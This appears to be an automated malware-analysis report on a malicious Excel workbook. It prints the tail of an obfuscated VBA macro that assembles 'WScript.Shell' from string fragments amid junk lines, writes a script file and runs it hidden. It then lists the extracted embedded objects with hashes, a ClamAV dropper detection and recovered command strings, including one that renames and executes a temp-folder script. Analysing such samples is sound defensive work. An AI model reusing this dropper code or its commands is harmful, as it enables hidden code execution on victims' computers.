            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
ajdbey84jwgw = ajdbey84jwgw + "pti"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
ajdbey84jwgw = ajdbey84jwgw + "ng."
Dim oFile As Object '148745
almvar = "v" + vch
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
almvar = almvar + "s"
bbbmap = "scr" + "ipt1"
TXTFile = x + ":" + bbbmap + "." + almvar
varforprint = zbzkadei37223432345x
If hournow > -2322 Then
    Open TXTFile For Output As #1
End If

Print #1, varforprint
      Close #1
bvmhliuehgjk6i756 = "W"
If hournow > -2322 Then
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "S"
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "cr"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    If hournow > -2322 Then
        bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "i"
        bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "pt"
    End If
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "."
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "S"
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "h"
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "e"
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "l" & "l"
End If

Dim bttttttttgggggggg4 As Object
Set bttttttttgggggggg4 = CreateObject(bvmhliuehgjk6i756)
Dim waitOnReturn As Boolean: waitOnReturn = False
Dim windowStyle As Integer: windowStyle = 0
Application.Eval (bttttttttgggggggg4.Run(Path + TXTFile, windowStyle, waitOnReturn))

Dim RVKQUSNMOHWECOZ
End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject2.bin 12800 bytes
SHA-256: 8baf13cf370b80f819ecaf2be9b35758fb1f24a39d247dc1fc09c15eb131058f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.ScriptFullName, WScript = "WScript" '148745, WScript = sWScript + "."
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject2.bin Ole10Native stream: Ole10Native 9982 bytes
SHA-256: 1943490ecf460e157cf10aa4e839a2b505ed204f8ca987e47e539fe397335deb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.ScriptFullName, WScript = "WScript" '148745, WScript = sWScript + "."
ooxml_oleobject_01.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject3.bin 5936 bytes
SHA-256: 122908edb698f6463b9cb8149e31d3d7b5554b0763a82e820b336f1109cacd20
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): cmd /c ren %tmp%\mm v&wSCRIPT %tmp%\v?..wsf  C
ooxml_oleobject_02.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject1.bin 3584 bytes
SHA-256: 341e747d08498c92c5c771d519d50eea5cc09b1a2eb63458c82d298e7919cb6d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.Shell");
ooxml_oleobject_02_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 1244 bytes
SHA-256: 92e9e2bc6661e5814f516be651c3fe6feb204e19ce7272b7c4adc6d84c03f7d2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.Shell");
ooxml_oleobject_03.bin ooxml-ole-object OOXML embedded OLE part: xl/vbaProject.bin 50176 bytes
SHA-256: eafbc0232cf7c97c151af53355f7a804964d8da26b3bbd4e8322775fe844584f
Detection
ClamAV: Xls.Dropper.Sdrop-9451844-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 4968 bytes
SHA-256: 979dde2aed02f077c16ae53546c6df9eed40e8386d6db6fc36aee9f966d2cb82
emf_01.emf ooxml-emf OOXML EMF part: xl/media/image2.emf 1536 bytes
SHA-256: 4d4d1e7b04c99dcb8e885915068ad6f74cc2333e91580cdae5ccaa00c427247f

Open this report in the interactive analyzer, or submit your own file for analysis.